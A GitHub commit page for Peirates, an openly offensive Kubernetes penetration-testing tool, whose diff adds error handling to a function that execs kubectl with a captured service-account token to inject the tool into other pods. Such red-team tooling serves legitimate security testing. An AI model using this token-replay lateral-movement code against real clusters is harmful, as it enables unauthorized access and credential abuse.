Skip to content

Commit

Permalink
Added error fall through to the injection into other pods, making thi…
Browse files Browse the repository at this point in the history
…s more beautiful.
  • Loading branch information
JayBeale committed Jun 13, 2019
1 parent 31ffad6 commit 7a4afc0
Showing 1 changed file with 15 additions and 13 deletions.
28 changes: 15 additions & 13 deletions peirates.go
Original file line number Diff line number Diff line change
Expand Up @@ -273,22 +273,24 @@ func injectIntoAPodViaAPIServer(connectionString ServerInfo, pod string) {
// runKubectlSimple (exec -it pod /tmp/peirates)

// println("Option 2 is: ")
println("Now, start up a new process, put a copy of kubectl in it, and move into that pod by running the following command:\n\n")
println("kubectl --token " + connectionString.Token + " --certificate-authority=" + connectionString.CAPath + " -n " + connectionString.Namespace + " exec -it " + pod + " -- /tmp/peirates\n")
// CA path
ca_path := "--certificate-authority=" + connectionString.CAPath
args := []string{"kubectl", "--token", connectionString.Token, ca_path, "-n", connectionString.Namespace, "exec", "-it", pod, "--", "/tmp/peirates"}
path := "/tmp/kubectl"
env := os.Environ()
execErr := syscall.Exec(path, args, env)
if execErr != nil {
panic(execErr)

path, lookErr := exec.LookPath("kubectl")
if lookErr != nil {
println("kubectl not found in the PATH in this pod. You can correct this and try again. Alternatively:\n")
println("Start up a new process, put a copy of kubectl in it, and move into that pod by running the following command:\n\n")
println("kubectl --token " + connectionString.Token + " --certificate-authority=" + connectionString.CAPath + " -n " + connectionString.Namespace + " exec -it " + pod + " -- /tmp/peirates\n")
} else {
env := os.Environ()
execErr := syscall.Exec(path, args, env)
if execErr != nil {
println("[-] Exec failed - try manually, as below.\n")
println("Start up a new process, put a copy of kubectl in it, and move into that pod by running the following command:\n\n")
println("kubectl --token " + connectionString.Token + " --certificate-authority=" + connectionString.CAPath + " -n " + connectionString.Namespace + " exec -it " + pod + " -- /tmp/peirates\n")
}
}
// TODO: replace the above one line with:
// binary, lookErr := exec.LookPath("ls")
// if lookErr != nil {
// panic(lookErr)
//}
}
}

Expand Down Expand Up @@ -782,7 +784,7 @@ func banner(connectionString ServerInfo) {
,,,,,,,,,,,,:.............,,,,,,,,,,,,,,
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
________________________________________
Peirates v1.0.23 by InGuardians
Peirates v1.0.24 by InGuardians
https://www.inguardians.com/peirates
----------------------------------------------------------------`)

Expand Down

0 comments on commit 7a4afc0

Please sign in to comment.